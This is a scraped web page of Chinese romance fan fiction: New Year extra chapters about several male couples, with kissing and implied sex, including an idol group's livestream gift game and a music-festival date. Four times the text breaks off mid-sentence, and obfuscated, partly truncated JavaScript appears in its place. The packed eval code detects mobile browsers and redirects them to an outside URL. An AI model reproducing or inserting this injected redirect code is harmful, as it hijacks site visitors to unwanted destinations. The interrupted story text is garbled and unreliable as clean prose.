黑暗中,云永昼望了他一眼,没回答他的话。 卫桓默认这是拒绝,“好吧,那……” “等一下。” “嗯?”卫桓不明白,“等什么?” 谁知下一秒,云永昼便脱了战备外套,扔到卫桓头上。 “什么鬼……”视线被遮蔽,卫桓耳边传来人类区的零点倒计时播报。 [三、二……] [一!] 拉下外套,眼前的景象让卫桓怔在原地。 在这黑暗的巷口,大片大片流光溢彩的金色烟火绽开、落下,稍纵即逝,但瞬间又凝结出新的光丝,流星般陨落。 云永昼站在“烟火”之下,原本仰头望着,又低下头,看向卫桓。 对视的瞬间,他的耳朵不经意间发烫,像是在这一瞬间才意识到自己做了十分愚蠢的事,心跳也愈发快了起来,攥紧了拳。 但他握紧的指缝里甚至还流溢着光。这些都泄露这场烟火来源的线索。 “你说的烟花,我没看过,就想随便试试……” 卫桓笑了,望着漫天流光,“很漂亮。” “比我小时候看到的还要漂亮。” 他走近一步,把战备服披到云永昼肩上,“还脱衣服,我又不是真的要举报你。” 说完,他凑到云永昼耳边,在无声的烟火里轻声开口。 “新年快乐。” 27. 营业悖论新年小番外 年底卡莱多又一次斩获大奖,和粉丝约定好要做回馈直播——按照粉丝点赞第一的评论要求,六人在大年初六当晚开了个睡衣趴。 裴听颂这辈子没穿过带兔耳的睡衣,还是毛绒材质的。他感觉自己就跟游乐园的大型玩偶一样,哪哪儿不对劲。 但能看到方觉夏穿玉桂狗睡衣的样子,他又觉得值了。 “我之前不是互送了新年礼物吗?是匿名的,今天就要来猜一猜哪个礼物是哪位成员送的。”江淼习惯性cue流程,“我先来。” 他从自己收到的礼物里挑了个最大的,拆开包装,“是一只……玩偶抱枕。” 准确说,是非常可爱的一只小狗玩偶,捏起来很舒服很解压。 路远立刻用手握拳代替话筒,“淼哥快猜,谁送的?” “我猜……”江淼心里很清楚答案,微笑着,目光扫了一圈,却偏偏停留在凌一面前,“一一吧,我们凌一喜欢可爱的东西。” 凌一正吃着薯片,被cue到有些意外,愣了一下,然后飞快拍了拍手上的渣,尴尬地笑笑,“不是我诶。” 裴听颂手里拿着小气锤,敲了一下地板,“叮——回答错误。” “那是圆圆?”江淼问。 路远两手放胸前比了个叉,“No!” 裴听颂又敲了一下,“叮——队长你可就一个机会了啊。” 方觉夏全程偷喵着贺子炎的脸色。 好像,沮丧得太明显了。 江淼最后才看向坐在身旁的贺子炎,“那就是我们子炎了?” 贺子炎故意停顿了一下,但还是点头,“没错。” [噫,贺子炎你看着可不太开心啊] [把可乐喝出借酒消愁的感觉了] [猜不到很正常吧,谁能想到队内最攻的rap line这么少女心啊hhh] [没准儿水是故意钓着不说正确答案的呢] 裴听颂带头鼓掌,“恭喜队长!” “淼淼真厉害!” “淼哥过关了,到我了到我了!”路远拿起早就挑好的礼物,满心欢喜地拆开来,是一部新的游戏机,第一时间他激动得都叫出来,“我去——” 可下一秒,他反应过来,“哎?” [远远是什么reaction大师吗hhhh这反应] “害,凌一送的,想都不用想。”路远一副我早就看透的表情,直接给了答案。 方觉夏本来在偷偷玩裴听颂背后的兔耳,看了路远的反应忍不住开口,“为什么这么确定啊?” 路远无语,“因为他弄坏了我的游戏机!这是他赔给我的!”说完他胳膊夹住凌一的细脖子,“你可真省事儿啊,都不说给我买个升级款!” [哈哈哈哈哈] [一带一路的画风怎么永远这么清奇] [噫,淼淼偷偷和火讲悄悄话,是不是在哄小狗啊] [肯定是,你看盒子鱼笑得那个不值钱的样子] 轮到贺子炎拆礼物,他挑了个不大不小的,打开包装发现是一个头戴式耳机,几乎没犹豫,他立即给出答案,“小裴送的。” 裴听颂立刻握拳伸出手,和贺子炎碰了碰拳。 “这么快?为什么?”凌一追问。 贺子炎一本正经,“因为这个礼物太资本主义了。” [这么贵的一定是小裴送的hhhh] [好像不止是贵,而且是绝版限量款,很难买到的那种] [果然是虎子的风格] 凌一拆了礼物,是一大盒各式各样护嗓的保健品。 “我猜是淼淼送的!” 江淼笑了笑,“不是哦,虽然我差点买了类似的礼物,后来还是换成了别的。” 贺子炎故意调侃,“该不会换成减肥药了吧?” 凌一后槽牙都要咬碎,但还是忍住了,“那我猜是觉夏!” 方觉夏点点头,“猜对了。” 凌一立刻抱住他,“mua!觉夏最贴心了,不愧是我的室友!” 裴听颂硬生生把他扒拉开,“哎,你挡镜头了。” “觉夏他欺负我!” 方觉夏抿着笑意,手肘戳了戳裴听颂,“到你了小裴。” 裴听颂拆开的礼物是一件卫衣,黑色的,质感很好,卫衣的背面印有20幅小的月相图,组合在一起,像是一张拼图。 “这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727035|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 裴听颂忽然孩子气地笑了起来,冲着方觉夏笑,甚至忘了看镜头回答问题。 还是江淼提醒,“小裴,你猜到了?” “啊对。”裴听颂反应过来,“觉夏送的,没错吧?”他看向方觉夏。 方觉夏不知什么时候戴上了睡衣帽子,只露出半张脸,点了点头,“嗯。” 他指了指衣服上的图案,“这是我找品牌定做的,因为每年过年其实就是小裴的农历生日,我就搜集了前20年每一年小裴生日当天的月相,印在这里。” “哇,这个礼物也太特别了吧,我酸了。” “觉夏你也太用心了。” [我人都磕傻了,这是兄弟之间可以送的礼物吗?] [反正张飞不会送这个给刘备] [月亮诶,虎子不是拿月亮比……不能细想了,崆峒了崆峒了(bushi)] 裴听颂听了这话,一整个膨胀起来,轻飘飘的,跟气球似的。 他可太有福气了,能做方觉夏的男朋友。 “好了好了,下一个。”方觉夏有些不好意思,赶紧从自己的礼物里挑了一个,拆开包装,奇怪的是,这是一个带铃铛的项圈。 “这个……”方觉夏有些莫名,第一反应是看向裴听颂。 [这个扭头好灵性] [woc项圈???你们卡莱多真的是有点子大问题在身上的!] “小、小裴?”方觉夏都结巴了。 裴听颂头摇的跟拨浪鼓一样,“不是我,真不是。” 江淼深入骨髓的圆场dna动了。 可一旁的凌一先急了,“是我呀!我送的!” “啊??”大家都很意外。 凌一:“觉夏家里不是有只哈士奇吗?你看这个项圈多可爱,上面的铃铛都是小狗头形状的,而且还可以伸缩,多大的小狗都能戴!” [草哈哈哈哈凌一你逗我呢] [是我淫者见淫了dbq] “谢谢……”方觉夏悻悻收好了礼物,“我替小算盘谢谢你。” 话虽如此。 在某一个夜晚,这个项圈最终还是被套在了裴听颂的脖子上。 28. 过敏原新年小番外 从小到大,乐知时最期待的是就是过年。每到年关,他们一家人就会聚在一起做好多事,大扫除、炸年货、写对联……分工合作,很是愉快。 更愉快的是,每次他都和宋煜分到一组。 今年的任务是给家里做大扫除。宋煜有轻微的强迫症,做事之前脑子里会安排出一张顺序清单,必须得一条一条照着来,乐知时则喜欢跟着他,哥哥做什么他就做什么,紧紧挨着。 收拾书房时,宋煜半蹲在角落的矮柜前许久,乐知时后知后觉地发现,凑了过去,“哥哥,你在看什么?” 原以为宋煜会说没什么,可下一秒,乐知时见他抬起手,扬了扬手里的小本子。 这笔记本的封皮看起来眼熟极了。 “你的日记。”宋煜道。 “嗯?”乐知时愣了一秒,下意识就伸手去抢,谁知宋煜的手闪得太快,不仅没抢到,还失了平衡一下子扑倒在宋煜身上。 “抢什么。”宋煜一只手扶住他胳膊,拿着日记本的另一只手绕到乐知时身后,本子拍了拍他的脊背,“你什么我没看过。” 乐知时耳朵都发烫,“什么啊。” 他从宋煜怀里出来,嘟嘟囔囔,“小时候写的东西太丢人了,别看了。” 宋煜做作地叹了口气,“昨天不是还说,新年礼物随便我提,无论说什么愿望都会帮我实现,这么快就不作数了?” “作数啊。”乐知时立刻反驳,“可是就一个日记,新年礼物用在这上面多浪费啊。” “可是我想听。”宋煜把日记本递到乐知时面前,“乖,念吧。” 纠结了三秒,乐知时还是决定为自己的承诺负责。 “好吧,那你不许笑我。” 宋煜点头,“嗯。” 乐知时盘腿坐到宋煜对面,埋头翻开笔记本,看着歪歪扭扭的小学生字体,脑子里想的却是——我小时候干嘛写这么多日记啊。 “就这篇。”宋煜随手指了指。 “哦。”乐知时清了清嗓子,“1月12日,天气:雨夹雪……” 宋煜忍不住打断,“二年级就知道雨夹雪了。” 乐知时抬头瞪他,“宋煜——” “继续。” “……雨夹雪,心情:很好。下雪了,哥哥放学带我去堆了雪人,但是雪太少了,雪人有点瘦……” 宋煜忍不住轻笑出声,遭到了乐知时无声地反抗,只好抿住笑意。 “我想把雪人带回家,小煜哥哥说雪人回到家里就会融化……rong还是拼音呢,”乐知时自己都忍不住笑了,“只能放在外面,但我想到了一个办法,我把雪人请到我家冰箱啦。雪人可以陪我一整个寒假。” “真可爱。”宋煜眼神示意他念下一篇。 “下一篇……”乐知时翻了一页,“2月1日,过年了,家里来了好多不熟悉的大人,他们很喜欢抱我,每一个都要我亲他们的脸,我其实不想亲,但没有办法呀。要是小煜哥哥让我亲,我就愿意了。” 乐知时此刻格外地无地自容,可宋煜却变本加厉,“真的?” 他伸手指了指自己的脸,示意让乐知时行动。 “宋煜,你真是……”乐知时压低声音,“你……” “爸妈去超市买年货了。” 乐知时没辙,只好凑过去,亲了一下宋煜的脸。 “继续。” “不许笑我。” “嗯。” “……2月13日,小煜哥哥教我写作业,可是作业太难了,我太小了,听不懂哥哥说的话,但是哥哥没有生气,刘晓宇说他的哥哥生气了会打他屁股,小煜哥哥从来……” 念到这里,乐知时戛然而止,耳朵脖子通红,啪的一声把本子合上,“不念了!我不念了。” 宋煜这次却没笑他,手撑着地板俯身过去,猝不及防地吻了吻乐知时的嘴唇。 乐知时原本羞赧难当,却因为这个吻忽地愣住,而后慢半拍地捂住了自己的嘴。 宋煜脸上并没有什么表情,“你说不准笑你,没说不许亲。” “可是,蓉姨他们一会儿……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727036|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没等乐知时说完,宋煜便拿开他的手,牢牢攥住,进一步吻上去,这一次比上次更深,舌尖轻而易举撬开紧闭的齿列,勾得乐知时呼吸都乱了。 “唔……宋煜……” 这个吻像是故意的撩拨,勾得乐知时心率加速,却又堪堪在临界点分开。 分开后,宋煜仍盯着他的嘴唇。 乐知时微微发喘,手紧紧攥着日记本,也望着宋煜,最终还是忍不住,两手攀上他的脖颈,“哥……” 可下一秒,敲门声传来。 “乐乐?宋煜?在里面吗?” “是蓉姨……”乐知时下意识想缩回去,被宋煜握住手臂。 “锁门了,没事。”宋煜低声说完,又吻了上去,这一次甚至比之前更深入、更粗暴,充满了刺激之下的欲念。乐知时根本无法招架,没多久就瘫软在他怀里,任由摆布。 出来的时候,乐知时都没脸抬头和林蓉对视,只能支支吾吾躲在宋煜身后。 “我们买了写对联的材料,哥哥的字好看,今年让哥哥写。”林蓉摆好红纸,看向乐知时,“诶?乐乐脸怎么这么红?是不是家里空调温度太高了?” “啊?嗯……好像是。” “遥控呢?我调低一点,辛苦你们打扫家里啦,下次干活的时候耳机音乐声别开太大,万一家里来贼了你们都发现不了。” 乐知时更无地自容了。 他可真羡慕宋煜的面瘫脸啊。 宋谨拿着笔墨走来,看到宋煜手里的笔记本,笑着问,“这是什么?” 宋煜嘴角微微扬起,“我的新年礼物。” “乐乐要不也一起写吧,哥哥写对联,乐乐写横批?”宋谨提议。 “好!” 乐知时凑过去,也拿起一只毛笔,挨着宋煜蘸墨。 宋煜面上不动声色,却低声道,“好好写,写不好就打……” 乐知时猛地一激灵,扔了笔捂住宋煜的嘴,急得几乎要跺脚,“宋煜……” 宋煜亲了亲他手心,“嗯,不说了。” 29. 幸存者新年小番外 新年到了,满大街的霓虹也都一夜之间变成喜气洋洋的红色,玻璃幕墙上巨大的投影也撤下了大公司的广告,换做极为仿真电子烟花表演。 “这盯着看久了眼睛疼。”沈惕眨了眨眼,从窗户边折返回来。 坐在沙发上包饺子的南杉笑道,“别看了,过来帮把手。” 吴悠嘁了一声,“你指望他,他笨死了还包饺子呢,管好自己就不错了。” 沈惕不乐意了,一屁股坐到吴悠身边,“我的学习能力可是你这种小鬼赶不上的。” 吴悠把皮儿往桌上一搁,“那你来。” 南杉笑眯眯看戏,“是啊,沈惕不是还可以变出很多触手吗?效率会不会高一点?” 吴悠:“触手恶心死了!你敢弄出来我就拿菜刀砍你。” 南杉:“大过年的,悠悠,别说这么吓人的话。” 沈惕嬉皮笑脸,“来啊,是兄弟就来砍我。” 南杉:“……帮帮忙吧。” “我可以帮忙呀。”调试好节目投影,钟益柔也凑了过来,手不由自主就拿起那一大碗饺子馅。 “你别动——” 三人异口同声,钟益柔一脸懵逼。 没人敢吃钟益柔做的饭。 南杉忙打圆场,“益柔,你问问无咎他们什么时候回来,都出去好久了。” 沈惕也把她拉起来,拉得尽可能远离一切食物,“是啊,你快去催催他们。” “哦……” 电话刚打出去没多久,安无咎和杨尔慈就回来了,他们路上碰到了买了酒过来的周亦珏和维克多,一块儿过来,房子里一下子热闹起来。 南杉作为传统文化推广大使,给维克多科普了中国春节的传说和习俗,不过听得最津津有味的还是沈惕。 “接着说啊?”沈惕手托着腮帮子,催着南杉继续讲故事。 安无咎洗了手,捏了捏他的红珊瑚耳坠,“你是小朋友吗?这么爱听故事。” “你讲我更爱听。”沈惕抬起头,仰着脸望向他。下一秒安无咎却将冰凉的手伸到他衣领里,冻得沈惕缩了脖子,“你偷袭我!” 安无咎一下子笑了出来,“也不是第一次了。” 沈惕盯着他的笑脸,没来由有些恍惚,想到他之间默默等待安无咎长大的那些时候,在时间轴的切片里一遍又一遍地观看着安无咎的每一段日常,那些时光里的安无咎生活自由而快乐,比他在圣坛里遇到的他幸福很多,笑的时候也更多。 他其实很讨厌安无咎笑,因为自己并不在他身边,安无咎的笑容都不是因他而起,但他却又一再回拨时间轴,孤独地反复观看与他无关的笑容,以至于记住了每一个小小的细节。 “发什么呆?”安无咎伸手,碰了碰沈惕的脸,擦掉他脸上不知道什么时候沾上的面粉。 “哟,小情侣够腻味的。”周亦珏见两人盯来盯去,忍不住开涮,“你俩眼睛快拉丝了。” 吴悠在一旁作呕吐状。 沈惕没好气儿地翻了个白眼,“你要是闲得慌就去做饭。” 周亦珏大言不惭,“我老公去了,我还去干嘛?” “唉~”沈惕叹了口气,“有老公疼就是好,我老公只知道带小孩玩儿。” 正在陪吴悠包饺子的安无咎感到十分无语。 钟益柔不知从哪儿翻出几个vr眼镜,“要不我们玩儿游戏吧?” 安无咎因为圣坛患上了严重的游戏ptsd,第一个表示反对,“我就不玩了。” “很好玩的!”钟益柔继续推荐,“有一款是狙击游戏,画面很真实的。” 杨尔慈也被唤起了一些惨痛的记忆,“我也不玩儿了。” “怎么这样……”钟益柔拉了一圈,最后只有南杉和沈惕愿意陪她玩虚拟鬼屋,结果游戏体验极差。 南杉打前阵,碰见一个鬼就开始分析应该用什么符,沈惕断后,见着鬼就抓着她肩膀开始虚假地尖叫。 全程只有她认真做任务,累的够呛。 晚会开始,众人团坐在一起吃火锅,插科打诨拌嘴聊天,仿佛之前曾经真实存在过的厮杀和逃亡都只是一场噩梦,早在烟火气里消散。 安无咎从未感觉如此幸福。 “快十二点了,今晚要熬夜吗?” “当然了悠悠,最起码要除夕夜零点倒计时的,很快了,马上就到。” “这叫守岁~” “守岁?就是守着那个怪物来?” “维克多,你别说这么吓人的词,我有阴影。” “记得给我把家里打扫干净。” “放心啦尔慈,包在我们身上,零点一过大家一起大扫除!” 吵嚷中,安无咎忽然听到沈惕的声音,更准确说,是他的心声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727037|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > [新年愿望——零点可以接吻吗?] 他转过头,望向一旁的沈惕。 沈惕眉眼透着笑意,绿色的瞳孔澄净无比。 [可以啊,不过要躲着大家] [好,没问题。] 两人的小心思在热闹无比的众人之间隐秘传递,像是偷情。 “哎,要倒计时了。” “十、九、八……” 安无咎正思考着要用什么借口离开这里,找个僻静的地方。 时间不多了,他站了起来。 “三、二——” 忽然间,一切都静止了。拥挤的房间被按下了暂停,碰杯的一只只手、大家脸上的笑、缭绕的热雾、盛放到一半的虚拟烟火,一切都凝结成一个漫长的瞬间。 在这个跨越新岁与旧年的瞬间,只有他们两人是自由的。 “这样算不算躲起来?”沈惕揽过安无咎的腰,将距离拉近。 在时间的缝隙里,两人接了一个绵长又深入的吻。 安无咎从来都不是任人揉搓的个性,他的手扶在沈惕胸口,直接坐到他腿上,居高临下地攥紧了主动权。 舌尖交缠,喘息融成一片。沈惕的手握住安无咎的脖颈,而他的后脑则被恋人控住。两人连接吻都像是较劲,毛孔也颤栗。 喘着气分开时,唇与唇还勾连着银丝,沈惕捧着安无咎的脸,又一次靠近,但只是很轻地啄吻他的嘴唇和鼻尖。 “新年愿望实现了?”安无咎歪了歪头,唇色很红。 沈惕笑了,“好像又有了新的愿望了。”他动情太快,甚至不自觉放出了触手,围绕在安无咎身侧。 安无咎握住其中一根的顶端,“大过年的,收敛一点。” “你之前说的,春宵一刻值千金诶。” “可你这一刻未免也太久了。”安无咎从他身上下来,坐回原处。 沈惕只好将暂停结束,寂静无声的空间忽然恢复热闹,每个人都按照之前的运动轨迹在时间轴上运转,没人察觉什么。 除了静止前保持着歪脖姿势玩游戏的南杉。 “我脖子怎么突然这么酸……”他揉了揉后颈,“刚刚好像还不这样。” 安无咎假装浑然不知,沈惕看热闹不嫌事儿大,怂恿吴悠,“小悠,还不快帮你道士哥哥揉一下~” 吴悠冷漠脸,“滚。” 30. 悬日新年小番外 为了好好过一个二人世界的新年,苏洄和宁一宵都推了许多工作,从年前就开始准备,一点点将他们的家布置得充满节日气氛。 去年移栽在花园里的红山茶今年冬天开得很好,大片大片红色的花朵缀满深绿色的枝叶,是天然的节日点缀,配上红色的集装箱,整个花园都红彤彤的。苏洄挑了最好看的几枝山茶,剪下来,插在宁一宵书房的花瓶里。 除夕那天,宁一宵带着苏洄逛华人超市采买年货。就在苏洄站在货架前纠结两种坚果口味的时候,宁一宵发现有人在偷拍,于是把棒球帽取下来扣到苏洄头上,自己则套上了连帽衫的帽子,将两个备选都放进购物车,揽着苏洄肩膀离开。 但这个照片还是不可避免地流传了出去。 同时还有他们在华人超市门口分享同一根糖葫芦的视频。 [创始人是真的把小艺术家当小孩儿养啊,扶住下巴给他擦嘴真的好萌] [Shaw不是出了名的有洁癖吗?Eddy吃东西他居然直接伸手接着] [习惯就好,创始人双标也不是一天两天了()] [每次Eddy吃东西操心的创始人都会站在他身后给他扎小辫儿] [养猫不过如此了] [创始人穿卫衣戴黑框眼镜真的好男大学生……] 回到车里,苏洄在待做清单上划掉采购一行,转了转笔,“我们一会儿回去先切水果,然后煮汤圆,你记得给我蒸鸡蛋羹哦。” “嗯。” 在国内的时候苏洄不喜欢过年,也不爱看晚会,但和宁一宵在国外,看联欢晚会反而成了最有年味的事。 “我们今天要看春晚的,要熬夜的哦。” “嗯。” 回到家里,苏洄给雪糕换上了一套特别有年味儿的舞狮装,雪糕穿上满屋乱窜,真就跟唐人街的小狮子一样。 “好酷啊。”苏洄蹲下来摸摸雪糕的鼻子。 宁一宵也蹲下来,“好酷啊~” “学人精。” 苏洄拍了拍手,起身就要走,谁知没走两步就被宁一宵拦腰抱住,直接扛到肩上。 “宁一宵!你放我下来……” 宁一宵将他压到沙发上,捏了捏他的脸,“应该叫我什么?” 苏洄故意装不懂,怎么都不开口,宁一宵便低头吻了下去,带着些许强迫的意味握住苏洄的脖颈。 一个吻很轻而易举地瓦解了苏洄的抵抗,他只好求饶,把所有平时叫不出口的亲热称呼叫了个遍。但宁一宵似乎并不打算放过他,手掌摩挲着他的后背。 “揉那儿干嘛……”苏洄在他怀里躲闪,“又长不出尾巴……” 像是触发了关键词似的,宁一宵的动作一顿,愣了愣。 “怎么了?”苏洄眨了眨眼。 “没什么。”宁一宵一笔带过,啄吻了苏洄的嘴唇。 “我饿了,你去给我蒸蛋羹吧。”苏洄信手拈来地撒娇,宁一宵当然没有异议起身往开放式厨房走去。 “那我去贴福字!” 苏洄一时间想不起来之前网购的福字和窗花放在了哪儿,只能把储物间的快递箱一一翻了个遍。 福字没找到,但他却发现了一个极其可疑的箱子,上面写着大大的Happy birthday。 最近过生日的也只有宁一宵了。 快递箱是拆过的,苏洄很轻易就打开,看到里面的东西却愣在当场。 一条猫尾巴?? 还有猫耳??? 苏洄抱着箱子来到厨房,面对宁一宵依旧一脸不可置信,“这都是什么啊?” 宁一宵脸色一变,片刻后如实交代,“前段时间景明送我的生日礼物。” 说罢他又补了句,“别管了,他这人一向不太正经,你知道的。” “哦……” 苏洄没说什么,又抱着箱子走回去了。 宁一宵松了口气,但心中不免有些可惜,收到这个礼物他还一次没试过,一直找不到机会,就这么搁置在哪儿。 但具体的梦倒是做了好几次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727038|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “蛋羹好了,来吃吧。” 宁一宵将碗搁到桌上,摘下手套,忽然听到背后传来咳嗽声,一回头,是苏洄。 更确切一点说,是戴上了“生日礼物”的苏洄。 此时此刻的他只穿了一件宽大的白衬衫,还是宁一宵的衬衫。 “你……” “怎么样?”苏洄特意转过来,摇了摇,回头看他 然后他转过身,走过来搂着宁一宵的脖子,“喜欢吗?” 宁一宵竟然说不出话。 苏洄笑得很甜,踮起脚,鼻尖蹭了蹭宁一宵的鼻尖,轻声说:“你把我也当做你的生日礼物吧。” “不饿了?”宁一宵的手沿着腰线往下。 “反正还早。”苏洄吻了吻宁一宵的下巴,再往下,亲吻宁一宵的侧颈,“趁春晚还没开始……” 宁一宵直接面对面将他抱起,苏洄就像树袋熊一样挂在他身上。 “别看了,反正也不好看。” “你怎么这样……” 宁一宵大言不惭,“是小猫先动的手。” 苏洄很快就为自己冲动撩拨的行为而感到后悔。 。 等他半条命都快折在沙发上的时候,也压根儿没力气反抗了,浑身汗津津的,连话都没力气说。 缓了好一会儿,苏洄才在宁一宵的怀里恢复点力气。 他们果不其然错过了春晚的节目,再打开电视都都快开始合唱难忘今宵了。 “想吃元宵……” 宁一宵轻笑了笑,“还吃啊。” 苏洄嗔了一句,“我说的是真正的元宵!” 零点快要到了,听着电视剧里庆祝的歌声,苏洄倚靠在宁一宵怀里,“有点可惜,没有下雪。” “嗯。”宁一宵捏着他的手,又扶正了苏洄的猫耳朵,“这里不下雪。” “明年我们回北京过年吧。”苏洄抬眼望向他,眼睛亮亮的。 宁一宵点头,“好。” “回去看雪。” 31. 自习x知许解夏音乐节约会 不久前,夏知许的游戏公司赞助了一场音乐节,主办方特地送了他四张vip票。时间正好是周末,他打算带着许其琛一起去音乐节转转,权当约会。 但不知怎么的,这消息居然传到夏习清耳朵里。 “哎,给我两张呗。” 夏知许懒得搭理,“我给你两巴掌。” 电话里夏习清冷笑一声,“你小子最近欠收拾是吧,行,等着,看我怎么把琛琛从你手里拐走。我记得他最喜欢的作家好像最近也快开见面会了,你说巧不巧,好像也是这周末诶……” 夏知许只能妥协了。 “我认识你真是倒了八辈子霉。” “谁说不是呢,我可真会投胎。” 于是,原本甜蜜的二人世界就这样变成四人约会。夏知许虽不乐意,但许其琛却很兴奋。 “习清几点到?他刚刚发微信说给我带了好吃的。” “你说习清他们会不会被认出来?我们一会儿要不也戴上口罩吧。” “啊,习清回我消息了,他说他们已经到了。” 夏知许不乐意地停了车,碎碎念道,“习清习清习清……我看你可想死他了。” 许其琛笑了,“夏知许,你怎么还吃他的醋啊?” 夏知许皮笑肉不笑地凑过去替他解了安全带,“你第一天认识我啊,小祖宗。” 许其琛抿着笑意,想凑过去亲他,没想到夏知许故意往后一躲,“干嘛?” “你说呢?”许其琛又靠近了一些,手先是理了理他白衬衫的衣领,然后顺势勾上他脖子。 夏知许还想装凶,可只要对上许其琛的脸就忍不住笑意,直接被许其琛抓包,“别憋了,虎牙都藏不住了。” “明天就去把它磨平。”夏知许放了幼稚的狠话,解开自己的安全带俯身吻过去。 “不可以……”许其琛接吻时声音黏黏糊糊,舌尖舔了舔尖利的齿尖,“我很喜欢。” 夏知许握着他的腰,还想继续,却突然听到敲玻璃窗的声音,浑身一激灵,两人都吓了一跳,立刻分开。 还以为是停车场的工作人员,抬头一看,夏知许脸都黑了。 “哟,正热乎呢。”夏习清戴着口罩、酒红色棒球帽,全副武装站在车灯边,手指巴拉了一下墨镜,露出一双狡黠漂亮的笑眼,“收敛点,到处都是摄像头欸。” 夏知许就差翻白眼,开了车门,“你以为我是你啊,什么地方都不挑。” 夏习清笑了,手往车上一撑,“是吗?真会装蒜啊,是谁喝大了跟我说想试试车……” 话还没说完,夏知许物理打断施法,捂住了夏习清的嘴,飞快看向许其琛。 “他在放屁,琛琛你一个字都不要听。” 夏习清还在抵抗,嗯嗯呜呜说了一大通。 许其琛耳朵红透了,十分生硬地转移话题,“那什么……自珩呢?你们没一起吗?” 身后不远处传来熟悉的声音,“我来了,刚刚去买了水,好久不见啊其琛。” 周自珩的视线转移到看起来正要干架的叔侄俩,凑到许其琛跟前,“他们又怎么了?” “没什么,玩呢。”许其琛接过水,拉着夏知许的胳膊,“快进场吧,一会儿人多起来了。” 四人走vip通道检票进了音乐节内场,人果然比想象中还要多,大部分都是穿着时髦的年轻人,拍照的拍照,录视频的录视频。 周自珩怕被认出来,戴了口罩和黑色棒球帽,又套上黑色连帽衫的帽子,鼻梁上架了副黑框眼镜,遮得严严实实。 “习清,你头发又长长了。”许其琛摸了摸他的发尾,“乍一看真的挺像女孩儿的。” “一米八几的女孩儿啊。”夏习清笑了,把头发扎到脑后,重新戴上帽子。 夏知许直接抓回许其琛的手,并予以忠告,“离他远点儿,一会儿没准拍到你,到时候放网上又不知道闹出什么乌龙。” 夏习清一把揽过许其琛的肩,“什么乌龙,我和琛琛就是亲密无间的关系,你懂什么?” 夏知许十分无语,给周自珩使了个眼色,周自珩耸耸肩,一副“我早就习惯了”的摆烂表情。 “算了。”为了让夏习清的魔爪远离自家老婆,夏知许只好牺牲自己,站在两人中间作为隔断,尽管他也不愿意挨着夏习清。 或许是他们的装扮的确够严密,又或许是音乐节的气氛过于热烈,大家都沉浸在live的氛围中,关注点全在台上的乐队和歌手,竟然真的没多少人认出台下的大明星,至少没有人当面指出来。 舞台上,新的乐队上场,密集而激烈的鼓点声压着心跳,电吉他的riff将现场气氛推向新的高潮。拥挤人潮里,周自珩悄悄牵起了夏习清的手,拉到自己面前,吻了吻他的手背。 夏习清瞥了他一样,眼里流露出似有若无的笑。 他身子一歪,靠过去,下巴自然而然抵上周自珩的肩,鼎沸的音乐声也掩盖不住他语气里的调笑,“想亲我?” 周自珩侧过脸,镜片后的一双眼直勾勾盯着夏习清的双眼,没过一会儿,又歪靠到他身上,埋头到夏习清颈间,像只大型犬。 “闻什么呢。” “你今天的香水真好闻,淡淡的。” 夏习清笑了,“今天都没喷,什么狗鼻子。” “那就是你很好闻,只有我闻得到。”周自珩深深吸了一口,亲了亲夏习清的侧颈,抑制了躁动的心,分开这个半拥抱的姿势,两手插兜,恢复原本的站姿。 一首歌唱毕,台上的主唱开始说话,鼓手还打着鼓点助兴。 人群中忽然起了小小的骚动,原本在玩夏知许手指的许其琛抬起头,才发现大屏幕上扫过的都是台下观众的脸。 “现在是kiss game!”主唱站在台上,回头指着大屏幕,“我们鼓手会随机停下,定格的两位就要接吻哦。” 台下一阵欢呼起哄,许其琛有些惊讶,“还有这种玩法啊?” “NBA赛场也有来着。”夏知许笑了,“你怕被拍到吗?要不要躲在我背后?” 许其琛想了想,觉得这主意不错,至少不会被镜头捕捉到,于是乖乖躲到夏知许背后,只露出眼睛。 “怎么这么可爱。”夏知许牵过他的双手,环住自己的腰。 鼓点越来越急促,将在场所有人的心高高悬起,仿佛随时会在下一刻消失,定格画面。 